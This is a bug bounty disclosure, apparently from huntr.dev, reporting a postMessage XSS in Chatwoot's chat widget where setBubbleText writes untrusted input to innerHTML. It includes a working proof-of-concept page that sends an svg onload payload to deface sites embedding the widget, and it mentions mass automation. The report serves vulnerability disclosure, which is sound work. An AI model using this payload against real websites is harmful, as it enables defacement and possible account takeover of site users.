Lucene search

K
huntrRenwax23FD5999FD-B1FD-44B4-AE2E-8F95B5C3D1B6
HistoryFeb 02, 2023 - 10:18 p.m.

XSS via postMessage to deface any website and account takeover

2023-02-0222:18:41
renwax23
www.huntr.dev
55
xss
postmessage
chatwoot
website defacement
account takeover
automation
vulnerability discovery
proof of concept

EPSS

0.001

Percentile

43.7%

Description

Hey Chatwoot team, while looking for vulnerabilities I found a critical XSS which allow us to XSS/Deface any website which uses the chat, this can be automated to attack thousands of websites

Vulnerable Code

Inside this function https://github.com/chatwoot/chatwoot/blob/30fcb47477481772c9a447f7406af3a72be26ed1/app/javascript/sdk/bubbleHelpers.js#L16

We have this code:

export const setBubbleText = bubbleText => {
  if (isExpandedView(window.$chatwoot.type)) {
    const textNode = document.getElementById('woot-widget--expanded__text');
    textNode.innerHTML = bubbleText;
  }
};

The code uses dangerous JS function innerHTML with bubbleText value the problem is we control value of this variable inside the postMessage function.

Proof of Concept

&lt;body onclick=x()&gt;<h1>Click here
&lt;script&gt;
var w;
function x(){
w=window.open('https://www.chatwoot.com/','w');

setTimeout(()=&gt;{
w.postMessage(`chatwoot-widget:{"event":"setBubbleLabel","label":"&lt;svg&gt;&lt;svg/onload='document.body.innerHTML=&quot;&lt;br&gt;&lt;br&gt;&lt;h1 style=color:red;font-size:99px&gt;pwned&quot;'&gt;"}`,'*')
}
,5000)
}
&lt;/script&gt;

Online POC

https://pwr.wtf/chatw.html


Thanks
Renwa

EPSS

0.001

Percentile

43.7%

Related for FD5999FD-B1FD-44B4-AE2E-8F95B5C3D1B6